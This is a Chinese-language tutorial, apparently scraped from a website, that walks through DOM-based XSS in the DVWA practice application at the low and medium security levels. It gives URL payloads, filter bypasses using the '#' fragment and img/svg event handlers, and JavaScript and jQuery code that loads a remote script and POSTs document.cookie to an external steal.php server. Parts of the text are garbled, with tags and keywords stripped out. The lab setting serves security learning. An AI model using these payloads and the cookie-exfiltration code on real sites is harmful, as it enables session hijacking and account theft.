通过DVWA学习XSS(3)
时间:2019-08-27 15:57 来源:网络整理 作者:采集插件 点击:次
', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); //mysql_close(); } ?> 主要过滤的地方有 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); $message = htmlspecialchars( $message ); $name = str_replace( ' 我们从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点 构造payload::8080/DVWA-master/vulnerabilities/xss_d/?default=%3C%3Ealert(%22xss%22)%3C/%3E,弹框证明有xss的存在,浏览器在解析html dom树时就会触发js弹框代码
接下来利用dom xss获取网站的cookie,构造连接 :8080/DVWA-master/vulnerabilities/xss_d/?default=%3C%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/%3E 用标签加载远程服务器上我们编写的获取网站用户cookie的js代码,和之前的一样利用ajax
var url = "http://192.168.50.156/dvwaxss/steal.php"; var postStr = "data="+document.cookie; var ajax = null; if (window.) { ajax = new (); } else if (window.ActiveXObject) { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } else { ajax=null; } ajax.open("POST", url, true);//true代表异步 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.send(postStr); 上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了,也就是当前目录下的steal.php "; } mysql_close(); } ?> steal.php将我们获取到的cookie存到数据库中 可以看到数据库已经接收到了网站用户的cookie
同样的还可以使用juery ajax,构造连接 :8080/DVWA-master/vulnerabilities/xss_d/?default=%3C%20src=%22%22%3E%3C/%3E%3C%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/%3E 代码如下 $(document).ready(function(){ $.post("http://192.168.50.156/dvwaxss/steal.php",{data:document.cookie}); } );
同样接收到了cookie medium级别 前端代码如下,和low级别的一样 但是后端代码对url的default参数的值做了限制 不允许出现标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过 这里的绕过有两种方式 方式1 url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接为 :8080/DVWA-master/vulnerabilities/xss_d/?#default=%3C%3Ealert(%22xss%22)%3C/%3E 可以看出成功绕过
方法2 或者就是用img标签或其他标签的特性去执行js代码,比如img标签的事件,构造连接 :8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20=alert(%22xss%22)%3E 注意这里要闭合option以及select标签,这样做会破坏页面结构,隐蔽性不如第一种方法,同样的标签还有svg等,比如 :8080/DVWA-master/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Csvg%20=alert("xss")%3E svg的事件同样可以在页面加载时执行js代码,产生弹框的效果,同样的标签还有好多 下面我们用这些方法加载远程js脚本获取网站用户的cookie(发送cookie的代码用juery) :8080/DVWA-master/vulnerabilities/xss_d/#?default=%3C%20src=%22%22%3E%3C/%3E%3C%20src=http://192.168.50.156/dvwaxss/cookie.js%3E%3C/%3E img标签事件加载 (责任编辑:admin) |





